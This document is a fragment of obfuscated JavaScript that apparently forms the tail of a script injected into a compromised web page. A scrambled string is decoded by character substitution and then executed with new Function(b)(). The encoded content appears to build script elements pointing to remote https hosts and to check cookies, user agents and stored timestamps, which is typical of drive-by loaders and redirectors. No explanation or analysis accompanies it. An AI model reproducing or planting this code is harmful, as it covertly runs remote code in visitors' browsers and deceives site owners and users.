0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();